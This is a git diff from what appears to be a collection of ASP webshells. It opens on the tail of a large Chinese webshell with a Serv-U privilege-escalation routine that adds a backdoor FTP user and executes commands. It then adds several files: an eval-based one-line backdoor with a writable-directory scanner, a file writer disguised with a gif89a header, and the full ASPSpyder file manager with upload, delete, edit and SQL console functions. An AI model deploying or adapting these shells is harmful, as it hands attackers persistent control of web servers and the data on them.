= strReturn & Chr(ThisCharCode) - Else - NextCharCode = AscB(MidB(vIn,i1+1,1)) - strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) - i1 = i1 + 1 - End If - Next - bytes2BSTR = strReturn - Err.Clear -End Function -Case "Servu" -SUaction=request("SUaction") -if not isnumeric(SUaction) then response.end -user = trim(request("u")) -pass = trim(request("p")) -port = trim(request("port")) -cmd = trim(request("c")) -f=trim(request("f")) -if f="" then -f=gpath() -else -f=left(f,2) -end if -ftpport = 65500 -timeout=3 -loginuser = "User " & user & vbCrLf -loginpass = "Pass " & pass & vbCrLf -deldomain = "-DELETEDOMAIN" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & " PortNo=" & ftpport & vbCrLf -mt = "SITE MAINTENANCE" & vbCrLf -newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=goldsun|0.0.0.0|" & ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & vbCrLf -newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & ftpport & vbCrLf & "-User=go" & vbCrLf & "-Password=od" & vbCrLf & _ - "-HomeDir=c:\\" & vbCrLf & "-LoginMesFile=" & vbCrLf & "-Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _ - "-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _ - "-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _ - "-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _ - "-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _ - "-Maintenance=System" & vbCrLf & "-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=c:\\|RWAMELCDP" & vbCrLf -quit = "QUIT" & vbCrLf -newuser=replace(newuser,"c:",f) -select case SUaction -case 1 -set a=Server.CreateObject("Microsoft.XMLHTTP") -a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s1",True, "", "" -a.send loginuser & loginpass & mt & deldomain & newdomain & newuser & quit -set session("a")=a -RRS"
    " -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -case 2 -set b=Server.CreateObject("Microsoft.XMLHTTP") -b.open "GET", "http://127.0.0.1:" & ftpport & "/goldsun/upadmin/s2", True, "", "" -b.send "User go" & vbCrLf & "pass od" & vbCrLf & "site exec " & cmd & vbCrLf & quit -set session("b")=b -RRS"
    " -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -case 3 -set c=Server.CreateObject("Microsoft.XMLHTTP") -a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s3", True, "", "" -a.send loginuser & loginpass & mt & deldomain & quit -set session("a")=a -RRS"
    提权完毕,已执行了命令:
    "&cmd&"

    " -RRS"" -RRS"
    " -case else -on error resume next -set a=session("a") -set b=session("b") -set c=session("c") -a.abort -Set a = Nothing -b.abort -Set b = Nothing -c.abort -Set c = Nothing -RRS"
    " -RRS"
    服务器组件信息
    服务器名 "&request.serverVariables("SERVER_NAME")&"
    服务器IP
    服务器Alexa排名 排名:
    服务器时间 "&now&"
    服务器CPU数量 "&Request.ServerVariables("NUMBER_OF_PROCESSORS")&"
    服务器操作系统 "&Request.ServerVariables("OS")&"
    WEB服务器版本 "&Request.ServerVariables("SERVER_SOFTWARE")&"
    "&ObT(i,0)&""&ObT(i,1)&""&ObT(i,2)&"
    " -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS"" -RRS" " -RRS" " -RRS" " -RRS" " -RRS" " -RRS" " -RRS" " -RRS" " -RRS"
    Serv-U 提升权限 by Sam
    用户名:
    口 令:
    端 口:
    系统路径:
    命 令:
    " -RRS"" -RRS"
    " -end select -function Gpath() -on error resume next -err.clear -set f=Server.CreateObject("Scripting.FileSystemObject") -if err.number>0 then -gpath="c:" -exit function -end if -gpath=f.GetSpecialFolder(0) -gpath=lcase(left(gpath,2)) -set f=nothing -end function -sub SetFileText -response.write "
    " -response.write "路    径:(一定要以\结尾)
    " -response.write "文件名称:
    " -response.write "" -response.write "
    娃嘎嘎,超级无敌隐藏文件,必须设置文件夹为显示隐藏,显示系统文件,才能显出来
    " -response.write "
    此工具为奸淫掳掠,杀人放火,打砸抢烧,居家必备工具
    " -response.write "
    " -set path=request.Form("path") -set fileName=request.Form("filename") -if( (len(path)>0)and(len(fileName)>0) )then -Set fso=Server.CreateObject("Scripting.FileSystemObject") -Set file=fso.getFile(path&fileName) -file.attributes=2+4 -end if -end sub - case "MMD":MMD() - Case "ReadREG":call ReadREG() - Case "Show1File":Set ABC=New LBF:ABC.Show1File(Session("FolderPath")):Set ABC=Nothing - Case "DownFile":DownFile FName:ShowErr() - Case "DelFile":Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing - Case "EditFile":Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing - Case "CopyFile":Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing - Case "MoveFile":Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing - Case "DelFolder":Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing - Case "CopyFolder":Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing - Case "MoveFolder":Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing - Case "NewFolder":Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing - Case "upfile":upfile() - Case "TSearch":TSearch() - Case "adminab":adminab() - Case "pcanywhere4":pcanywhere4() - Case "adminab":adminab() - Case "Cmd1Shell":Cmd1Shell() - Case "Logout":Session.Contents.Remove("kkk"):Response.Redirect URL - Case "CreateMdb":CreateMdb FName - Case "CompactMdb":CompactMdb FName - Case "DbManager":DbManager() - Case "Course":Course() - Case "ScanDrive" : ScanDrive Request("Drive") - Case "ScFolder" : ScFolder Request("Folder") - Case "Alexa":Alexa() - Case "suftp":suftp() - Case "upload":upload() - Case "radmin":radmin() - Case "pcanywhere4":pcanywhere4() - Case "goback":goback() - Case "jsp":jsp() - case "php":php() - case "apjdel":apjdel() - case "sam":sam() - case "aspx":aspx() - Case "ScanDriveForm" : ScanDriveForm - Case "ScanDrive" : ScanDrive Request("Drive") - Case "ScFolder" : ScFolder Request("Folder") - Case "SetFileText":SetFileText() - Case Else MainForm() -End Select -if Action<>"Servu" then ShowErr() -RRS"" -%> diff --git "a/asp/\346\263\225\345\256\242\344\270\215\346\255\273\345\203\265\345\260\270.asp" "b/asp/\344\270\215\346\255\273\345\203\265\345\260\270.asp" similarity index 100% rename from "asp/\346\263\225\345\256\242\344\270\215\346\255\273\345\203\265\345\260\270.asp" rename to "asp/\344\270\215\346\255\273\345\203\265\345\260\270.asp" diff --git "a/asp/\345\217\257\350\257\273\345\217\257\345\206\231\346\211\253\346\217\217" "b/asp/\345\217\257\350\257\273\345\217\257\345\206\231\346\211\253\346\217\217" new file mode 100644 index 0000000..fdfde22 --- /dev/null +++ "b/asp/\345\217\257\350\257\273\345\217\257\345\206\231\346\211\253\346\217\217" @@ -0,0 +1,99 @@ +<%eval request("cd")%> +<% +'Response.Buffer = FALSE +Server.ScriptTimeOut=999999999 +Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t") +%> +<% +sPath=replace(request("sPath"),"/","\") +ShowPath="" +if sPath="" then +ShowPath="C:\Program Files\" +else +ShowPath=sPath +end if +%> +
    + + + + + + +
    ·¾¶£º + + ¿ÉÒÔ¶Á ²»¿É¶Á ¿ÉÒÔд ²»¿Éд
    +
    +<% +Dim i1:i1=0 +if sPath<>"" then + Call Bianli(sPath) +end if +Set Fso=nothing +%> +<% +Function CheckDirIsOKWrite(DirStr) + On Error Resume Next + Fso.CreateTextFile(DirStr&"\temp.tmp") + if Err.number<>0 then + Err.Clear() + response.write " ²»¿Éд" + CheckDirIsOKWrite=0 + else + response.write " ¿ÉÒÔд" + CheckDirIsOKWrite=1 + end if +End Function +Function CheckDirIsOKDel(DirStr) + On Error Resume Next + Fso.DeleteFile(DirStr&"\temp.tmp") + if Err.number<>0 then + Err.Clear() + response.write " ²»¿Éɾ³ý" + else + response.write " ¿ÉÒÔɾ³ý" + end if +End Function + +Function WriteSpace(NunStr) +for iu=0 to NunStr +response.write " " +next +End Function + +Function Bianli(path) + On Error Resume Next + i1=i1+1 + Set Objfolder=fso.getfolder(path) + Set Objsubfolders=objfolder.subfolders + dim t1:t1=1 + WriteSpace(i1) + response.write path + SubFCount=Objsubfolders.count + if Err.number<>0 then + SubFCount=-1 + Err.Clear() + end if + if SubFCount>-1 then + response.write " ¿ÉÒÔ¶Á" + else + response.write " ²»¿É¶Á" + end if + if SubFCount>-1 then + IsWrite=CheckDirIsOKWrite(path) + if IsWrite=1 then CheckDirIsOKDel(path) + For Each Objsubfolder In Objsubfolders + 'response.write "
    ("&t1&"/"&Objsubfolders.count&")/"&i1&" "&vbcrlf + response.write "
    "&vbcrlf + Nowpath=path + "\" + Objsubfolder.name + Set Objfolder=nothing + Set Objsubfolders=nothing + Call Bianli(nowpath)'µÝ¹é + i1=i1-1 + t1=t1+1 + Next + end if +End Function +%> + diff --git "a/asp/\345\260\217\351\251\254diy.asp" "b/asp/\345\260\217\351\251\254diy.asp" new file mode 100644 index 0000000..d9f64db --- /dev/null +++ "b/asp/\345\260\217\351\251\254diy.asp" @@ -0,0 +1,101 @@ +gif89a +<%@LANGUAGE="VBScript" CODEPAGE="936"%> + + + +法客论坛 - F4ckTeam + + + + +

    +<% dim FSO %> +<% dim Data %> +<% dim MyFile %> +<% on error resume next %> +<% Set FSO = Server.CreateObject("Scripting.FileSystemObject") %> +<% if Trim(request("path1"))<>"" then %> +<% Data = request("path2") %> +<% Set MyFile=FSO.CreateTextFile(request("path1"),True) %> +<% MyFile.Write Data %> +<% if err =0 then %> +<% response.write "写入成功! " %> +<% else %> +<% response.write "写入失败!" %> +<% end if %> +<% err.clear %> +<% end if %> +<% MyFile.Close %> +<% Set MyFile=Nothing %> +<% Set FSO = Nothing %> +<% Response.write "" %> +

    + + + + +
    + + + + +
    + + + + + + + + + + + + + + + +
    +<% Response.write "我的位置:" %> +<%=server.mappath(Request.ServerVariables("SCRIPT_NAME")) %> +
    +<% Response.write "
    " %> +
    这里填路径:<% Response.Write "" %> +
    +<% Response.write "这里填内容:" %> +<% Response.write "" %> +
    +<% Response.write "" %> +
    + + diff --git "a/asp/\347\234\237\346\255\243\350\277\207\345\256\211\345\205\250\347\213\227\347\232\204ASP\345\244\247\351\251\254.asp" "b/asp/\347\234\237\346\255\243\350\277\207\345\256\211\345\205\250\347\213\227\347\232\204ASP\345\244\247\351\251\254.asp" new file mode 100644 index 0000000..0bb37f1 --- /dev/null +++ "b/asp/\347\234\237\346\255\243\350\277\207\345\256\211\345\205\250\347\213\227\347\232\204ASP\345\244\247\351\251\254.asp" @@ -0,0 +1,937 @@ +<% +Function BufferContent(data) + Dim strContent(64) + Dim i + ClearString strContent + For i = 1 To LenB(data) + AddString strContent,Chr(AscB(MidB(data,i,1))) + Next + BufferContent = fnReadString(strContent) +End Function + +Sub ClearString(part) + Dim index + For index = 0 to 64 + part(index)="" + Next +End Sub + +Sub AddString(part,newString) + Dim tmp + Dim index + part(0) = part(0) & newString + If Len(part(0)) > 64 Then + index=0 + tmp="" + Do + tmp=part(index) & tmp + part(index) = "" + index = index + 1 + Loop until part(index) = "" + part(index) = tmp + End If +End Sub + +Function fnReadString(part) + Dim tmp + Dim index + tmp = "" + For index = 0 to 64 + If part(index) <> "" Then + tmp = part(index) & tmp + End If + Next + FnReadString = tmp +End Function + + +Class FileUploader + Public Files + Private mcolFormElem + Private Sub Class_Initialize() + Set Files = Server.CreateObject("Scripting.Dictionary") + Set mcolFormElem = Server.CreateObject("Scripting.Dictionary") + End Sub + + Private Sub Class_Terminate() + If IsObject(Files) Then + Files.RemoveAll() + Set Files = Nothing + End If + If IsObject(mcolFormElem) Then + mcolFormElem.RemoveAll() + Set mcolFormElem = Nothing + End If + End Sub + + Public Property Get Form(sIndex) + Form = "" + If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex)) + End Property + + Public Default Sub Upload() + Dim biData, sInputName + Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos + Dim nPosFile, nPosBound + biData = Request.BinaryRead(Request.TotalBytes) + nPosBegin = 1 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) + If (nPosEnd-nPosBegin) <= 0 Then Exit Sub + vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin) + nDataBoundPos = InstrB(1, biData, vDataBounds) + Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--")) + nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition")) + nPos = InstrB(nPos, biData, CByteString("name=")) + nPosBegin = nPos + 6 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) + sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename=")) + nPosBound = InstrB(nPosEnd, biData, vDataBounds) + If nPosFile <> 0 And nPosFile < nPosBound Then + Dim oUploadFile, sFileName + Set oUploadFile = New UploadedFile + nPosBegin = nPosFile + 10 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) + sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\")) + nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:")) + nPosBegin = nPos + 14 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) + oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + nPosBegin = nPosEnd+4 + nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 + oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin) + If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile + Else + nPos = InstrB(nPos, biData, CByteString(Chr(13))) + nPosBegin = nPos + 4 + nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 + If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + End If + nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds) + Loop + End Sub + + 'String to byte string conversion + Private Function CByteString(sString) + Dim nIndex + For nIndex = 1 to Len(sString) + CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1))) + Next + End Function + + 'Byte string to string conversion + Private Function CWideString(bsString) + Dim nIndex + CWideString ="" + For nIndex = 1 to LenB(bsString) + CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1))) + Next + End Function +End Class + + +Class UploadedFile + Public ContentType + Public FileName + Public FileData + Public Property Get FileSize() + FileSize = LenB(FileData) + End Property + + Public Sub SaveToDisk(sPath) + Dim oFS, oFile + Dim nIndex + If sPath = "" Or FileName = "" Then Exit Sub + If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\" + Set oFS = Server.CreateObject("Scripting.FileSystemObject") + If Not oFS.FolderExists(sPath) Then Exit Sub + Set oFile = oFS.CreateTextFile(sPath & FileName, True) + ' output mechanism modified for buffering + oFile.Write BufferContent(FileData) + oFile.Close + End Sub + + Public Sub SaveToDatabase(ByRef oField) + If LenB(FileData) = 0 Then Exit Sub + If IsObject(oField) Then + oField.AppendChunk FileData + End If + End Sub +End Class + +' Create the FileUploader +IF REQUEST.QueryString("upload")="@" THEN +Dim Uploader, File +Set Uploader = New FileUploader + +' This starts the upload process +Uploader.Upload() + +%> +ASPYDrvsInfo + + +


    +
    +
    File upload Information: +
    +<% + +' Check if any files were uploaded +If Uploader.Files.Count = 0 Then + Response.Write "File(s) not uploaded." +Else + ' Loop through the uploaded files + For Each File In Uploader.Files.Items + File.SaveToDisk Request.QueryString("txtpath") + Response.Write "" + Response.Write "" + Response.Write "" + Next +End If +%> +
     
    File Uploaded: " & File.FileName & "
    Size: " & Int(File.FileSize/1024)+1 & " kb
    Type: " & File.ContentType & "
     
    +

    ?txtpath=<%=Request.QueryString("txtpath")%>">7
    +<% +response.End() '---- XXX +END IF +'-------- +ON ERROR RESUME NEXT +Response.Buffer = True +password = "g" ' <---Your password here + +If request.querystring("logoff")="@" then + session("shagman")="" ' Logged off + session("dbcon")="" ' Database Connection + session("txtpath")="" ' any pathinfo +end if + + If (session("shagman")<>password) and Request.form("code")="" Then + %> +




    ADMINSTRATORS TOOLKIT


    + +
    +" > +
    + +
    +
    +ASPSpyder Apr2003
    +<%If request.querystring("logoff")="@" then%> +CLOSE THIS WINDOW +<%end if%> +
    + <% + Response.END + End If + If Request.form("code") = password or session("shagman") = password Then + session("shagman") = password + Else + Response.Write "

    ACCESS DENIED
    Copyright 2003 Vela iNC.

    " + Response.END + End If + +server.scriptTimeout=180 +set fso = Server.CreateObject("Scripting.FileSystemObject") +mapPath = Server.mappath(Request.Servervariables("SCRIPT_NAME")) +mapPathLen = len(mapPath) + +if session(myScriptName) = "" then + for x = mapPathLen to 0 step -1 + myScriptName = mid(mapPath,x) + if instr(1,myScriptName,"\")>0 then + myScriptName = mid(mapPath,x+1) + x=0 + session(myScriptName) = myScriptName + end if + next +Else + myScriptName = session(myScriptName) +end if + + +wwwRoot = left(mapPath, mapPathLen - len(myScriptName)) +Target = "D:\hshome\masterhr\masterhr.com\" ' ---Directory to which files will be DUMPED Too and From + + if len(Request.querystring("txtpath"))=3 then + pathname = left(Request.querystring("txtpath"),2) & "\" & Request.form("Fname") + else + pathname = Request.querystring("txtpath") & "\" & Request.form("Fname") + end if + + If Request.Form("txtpath") = "" Then + MyPath = Request.QueryString("txtpath") + Else + MyPath = Request.Form("txtpath") + End If + +' ---Path correction routine + If len(MyPath)=1 then MyPath=MyPath & ":\" + If len(MyPath)=2 then MyPath=MyPath & "\" + If MyPath = "" Then MyPath = wwwRoot + If not fso.FolderExists(MyPath) then + Response.Write "Non-existing path specified.
    Please use browser back button to continue !" + Response.end + end if + + set folder = fso.GetFolder(MyPath) + +if fso.GetFolder(Target) = false then + Response.Write "Please create your target directory for copying files as it does not exist. " & Target & "
    " +else + set fileCopy = fso.GetFolder(Target) +end if + + + If Not(folder.IsRootFolder) Then + If len(folder.ParentFolder)>3 then + showPath = folder.ParentFolder & "\" & folder.name + Else + showPath = folder.ParentFolder & folder.name + End If + Else + showPath = left(MyPath,2) + End If + +MyPath=showPath +showPath=MyPath & "\" +' ---Path correction routine-DONE + +set drv=fso.GetDrive(left(MyPath,2)) + +if Request.Form("cmd")="Download" then + if Request.Form("Fname")<>"" then + Response.Buffer = True + Response.Clear + strFileName = Request.QueryString("txtpath") & "\" & Request.Form("Fname") + Set Sys = Server.CreateObject( "Scripting.FileSystemObject" ) + Set Bin = Sys.OpenTextFile( strFileName, 1, False ) + Call Response.AddHeader( "Content-Disposition", "attachment; filename=" & Request.Form("Fname") ) + Response.ContentType = "application/octet-stream" + While Not Bin.AtEndOfStream + Response.BinaryWrite( ChrB( Asc( Bin.Read( 1 ) ) ) ) + Wend + Bin.Close : Set Bin = Nothing + Set Sys = Nothing + Else + err.number=500 + err.description="Nothing selected for download..." + End if +End if +%> + + +<% +'QUERY ANALYSER -- START +if request.QueryString("qa")="@" then +'------------- +sub getTable(mySQL) + if mySQL="" then + exit sub + end if + on error resume next + Response.Buffer = True + Dim myDBConnection, rs, myHtml,myConnectionString, myFields,myTitle,myFlag + myConnectionString=session("dbCon") + Set myDBConnection = Server.CreateObject("ADODB.Connection") + myDBConnection.Open myConnectionString + myFlag = False + myFlag = errChk() + set rs = Server.CreateObject("ADODB.Recordset") + rs.cursorlocation = 3 + rs.open mySQL, myDBConnection + myFlag = errChk() + + if RS.properties("Asynchronous Rowset Processing") = 16 then + For i = 0 To rs.Fields.Count - 1 + myFields = myFields & "" & rs.Fields(i).Name & "" + Next + myTitle = "?Query results :     (" & rs.RecordCount & " row(s) affected)
    " + rs.MoveFirst + rs.PageSize=mNR + if int(rs.RecordCount/mNR) < mPage then mPage=1 + rs.AbsolutePage = mPage + Response.Write myTitle & "         " +if mPage=1 Then Response.Write("") else Response.Write("") +Response.Write "" +if mPage = rs.PageCount Then Response.Write("> "" DISABLED>") else Response.Write("> "">") +Response.Write "     Displaying records at a time." + response.Write "" & myFields + + For x = 1 to rs.PageSize + If Not rs.EOF Then + response.Write "" + For i = 0 to rs.Fields.Count - 1 + response.Write "" + Next + response.Write "" + response.Flush() + rs.MoveNext + Else + x=rs.PageSize + End If + Next + response.Write "
    " & server.HTMLEncode(rs(i)) & "
    " + myFlag = errChk() + + else + if not myFlag then + myTitle = "iQuery results :     (The command(s) completed successfully.)
    " + response.Write myTitle + end if + end if + set myDBConnection = nothing + set rs2 = nothing + set rs = nothing + +End sub + +sub getXML(mySQL) + if mySQL="" then + exit sub + end if + on error resume next + Response.Buffer = True + Dim myDBConnection, rs, myHtml,myConnectionString, myFields,myTitle,myFlag + myConnectionString=session("dbCon") + Set myDBConnection = Server.CreateObject("ADODB.Connection") + myDBConnection.Open myConnectionString + myFlag = False + myFlag = errChk() + set rs = Server.CreateObject("ADODB.Recordset") + rs.cursorlocation = 3 + rs.open mySQL, myDBConnection + myFlag = errChk() + if RS.properties("Asynchronous Rowset Processing") = 16 then + Response.Write "i Copy paste this code and save as '.xml '" + Response.Write "" + myFlag = errChk() + + else + if not myFlag then + myTitle = "iQuery results :     (The command(s) completed successfully.)
    " + response.Write myTitle + end if + end if +End sub + +Function errChk() + if err.Number <> 0 and err.Number <> 13 then + dim myText + myText = "x " & err.Description & "
    " + response.Write myText + err.Number = 0 + errChk = True + end if +end Function + + Dim myQuery,mPage,mNR + myQuery = request.Form("txtSQL") + if request.form("txtCon") <> "" then session("dbcon") = request.form("txtCon") + if request.QueryString("txtpath") then session("txtpath")=request.QueryString("txtpath") + mPage=cint(request.Form("mPage")) + if mPage<1 then mPage=1 + mNR=cint(request.Form("txtNoRecords")) + if mNR<1 then mNR=30 +%> +ASPyQAnalyser + + + +
    ?qa=@" method=Post> + + +
    @ Paste + your connection string here : + "> +
    +
    + >GenerateXML +
    XXXXXX +
    ASP!Spyder Apr2003
    by ~sir_shagalot
    +
    +
    <%If Request.Form("chkXML") = "on" Then getXML(myQuery) Else getTable(myQuery) %>
    +

    Copyright 2003 Vela iNC.
    Cheers to hAshish for all the help!


    + + +<% + set myDBConnection = nothing + set rs2 = nothing + set rs = nothing +'------------- +response.End() +end if +'QUERY ANALYSER -- STOP +%> +<%=MyPath%> + + + +<% + Response.Flush +'Code Optimisation START +select case request.form("cmd") + case "" + If request.form("dirStuff")<>"" then + Response.write "You need to click [Create] or [Delete] for folder operations to be" + Else + Response.Write "آ" + End If + case " Copy " + ' ---Copy From Folder routine Start + If Request.Form("Fname")="" then + Response.Write "Copying: " & Request.QueryString("txtpath") & "\???
    " + err.number=424 + Else + Response.Write "Copying: " & Request.QueryString("txtpath") & "\" & Request.Form("Fname") & "
    " + fso.CopyFile Request.QueryString("txtpath") & "\" & Request.Form("Fname"),Target & Request.Form("Fname") + Response.Flush + End If + ' ---Copy From Folder routine Stop + case " Copy " + ' ---Copy Too Folder routine Start + If Request.Form("ToCopy")<>"" and Request.Form("ToCopy") <> "------------------------------" Then + Response.Write "Copying: " & Request.Form("txtpath") & "\" & Request.Form("ToCopy") & "
    " + Response.Flush + fso.CopyFile Target & Request.Form("ToCopy"), Request.Form("txtpath") & "\" & Request.Form("ToCopy") + Else + Response.Write "Copying: " & Request.Form("txtpath") & "\???
    " + err.number=424 + End If + ' ---Copy Too Folder routine Stop + case "Delete" 'two of this + if request.form("todelete")<>"" then + ' ---File Delete start + If (Request.Form("ToDelete")) = myScriptName then'(Right(Request.Servervariables("SCRIPT_NAME"),len(Request.Servervariables("SCRIPT_NAME"))-1)) Then + Response.Write "



    SELFDESTRUCT INITIATED...
    " + Response.Flush + fso.DeleteFile Request.Form("txtpath") & "\" & Request.Form("ToDelete") + %>+++DONE+++


    + CLOSE THIS WINDOW + <%Response.End + End If + If Request.Form("ToDelete") <> "" and Request.Form("ToDelete") <> "------------------------------" Then + Response.Write "Deleting: " & Request.Form("txtpath") & "\" & Request.Form("ToDelete") & "
    " + Response.Flush + fso.DeleteFile Request.Form("txtpath") & "\" & Request.Form("ToDelete") + Else + Response.Write "Deleting: " & Request.Form("txtpath") & "\???
    " + err.number=424 + End If + ' ---File Delete stop + Else If request.form("dirStuff")<>"" then + Response.Write "Deleting folder...
    " + fso.DeleteFolder MyPath & "\" & request.form("DirName") + end if + End If + + case "Edit/Create" +%> +

    +
    + NOTE: The following edit box maynot display special characters from files. Therefore the contents displayed maynot be considered correct or accurate. +
    Path=> <%=pathname%>

    +<% + ' fetch file information + Set f = fso.GetFile(pathname) +%> +file Type: <%=f.Type%>
    +file Size: <%=FormatNumber(f.size,0)%> bytes
    +file Created: <%=FormatDateTime(f.datecreated,1)%> <%=FormatDateTime(f.datecreated,3)%>
    +last Modified: <%=FormatDateTime(f.datelastmodified,1)%> <%=FormatDateTime(f.datelastmodified,3)%>
    +last Accessed: <%=FormatDateTime(f.datelastaccessed,1)%> <%=FormatDateTime(f.datelastaccessed,3)%>
    +file Attributes: <%=f.attributes%>
    +<% + Set f = Nothing + response.write "
    " + 'read the file + Set f = fso.OpenTextFile(pathname) + If NOT f.AtEndOfStream Then fstr = f.readall + f.Close + Set f = Nothing + Set fso = Nothing + response.write "
    " & VBCRLF + response.write "DOCUMENT CONTENTS
    " & VBCRLF + response.write "" & VBCRLF + response.write "
    " & VBCRLF +%> +
    LOCATION + + +

    +<% +response.end + + case "Create" + Response.Write "Creating folder...
    " + fso.CreateFolder MyPath & "\" & request.form("DirName") + + case "Save As" + Response.Write "Saving file...
    " + Set f = fso.CreateTextFile(Request.Form("pathname")) + f.write Request.Form("FILEDATA") + f.close +end select +'Code Optimisation STOP +' ---DRIVES start here + If request.querystring("getDRVs")="@" then +%> +


    +
    Available Drive Information: +
    + +<%For Each thingy in fso.Drives%> +
    DriveTypePathShareNameSize[MB]ReadyToUseVolumeLabel
    +<%=thingy.DriveLetter%> <%=thingy.DriveType%> <%=thingy.Path%> <%=thingy.ShareName%> <%=((thingy.TotalSize)/1024000)%> <%=thingy.IsReady%> <%=thingy.VolumeName%> +<%Next%> +
    +

    ?txtpath=<%=MyPath%>">7
    +<% + Response.end + end if +' ---DRIVES stop here +%> + + + +<% +'---Report errors +select case err.number + case "0" + response.write "i Successfull.." + + case "58" + response.write "Folder already exists OR no folder name specified..." + + case "70" + response.write "Permission Denied, folder/file is readonly or contains such files..." + + case "76" + response.write "Path not found..." + + case "424" + response.write "Missing, Insufficient data OR file is readonly..." + + case else + response.write "" & err.description & "" + +end select +'---Report errors end +%> +
    ASP!Spyder Apr2003
    by ~sir_shagalot
    + +
    +
    " name="myform" > + +
    + PATH INFO : Volume Label: <%=drv.VolumeName%>
    Virtual: http://<%=Request.ServerVariables("SERVER_NAME")%><%=Request.Servervariables("SCRIPT_NAME")%>
    1 <%=showPath%> +
    +
    +
    + + +
    ?getDRVs=@&txtpath=<%=MyPath%>">Retrieve Available Network Drives
    ?qa=@&txtpath=<%=MyPath%>">SQL Query Analyser
    ?logoff=@&...thankyou.for.using.ASpyder....~sir_shagalot!..[shagzzz.cjb.net]">+++LOGOFF+++
    +
    +

    +
    " >Delete file from current directory:
    +
    " + Response.Write "
    Copy file too current directory:
    " +Response.Flush +' ---View Tree Begins Here + Response.Write "
    Folders:

    " +fo=0 + Response.Write "0 ..
    " + +For each fold in folder.SubFolders '-->FOLDERz +fo=fo+1 + Response.Write "0 " & fold.name & "
    " +Next +%> +
    ?txtpath=<%=MyPath%>"> + +
    +Directory:

    + +
    +<% +Response.Write "
    Files:

    " +Response.Flush +%> +
    ?txtpath=<%=MyPath%>"> +<% + Response.write "
    " + Response.write "
    " +%> + +<% + Response.Write "
    Listed: " & fo & "Listed: " & fi & "

    " +' ---View Tree Ends Here +' ---Upload Routine starts here +%> +

    ?upload=@&txtpath=<%=MyPath%>"> + + + + +
    2 SELECT FILES TO UPLOAD:
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + +    +
    +
    + + + + +
    NOTE FOR UPLOAD - + YOU MUST HAVE VBSCRIPT v5.0 INSTALLED ON YOUR WEB SERVER  FOR THIS LIBRARY TO + FUNCTION CORRECTLY. YOU CAN OBTAIN IT FREE FROM MICROSOFT WHEN YOU INSTALL INTERNET + EXPLORER 5.0 OR LATER. WHICH IS, MOST LIKELY, ALREADY INSTALLED.
    +
    +<% +' ---Upload Routine stops here +%> + +

    Copyright 2003 Vela iNC.
    [ System: <%=now%> ]


    + + + + + + + +F:\freehost\zxyzch10a\web + + + + + + + +Path not found... +
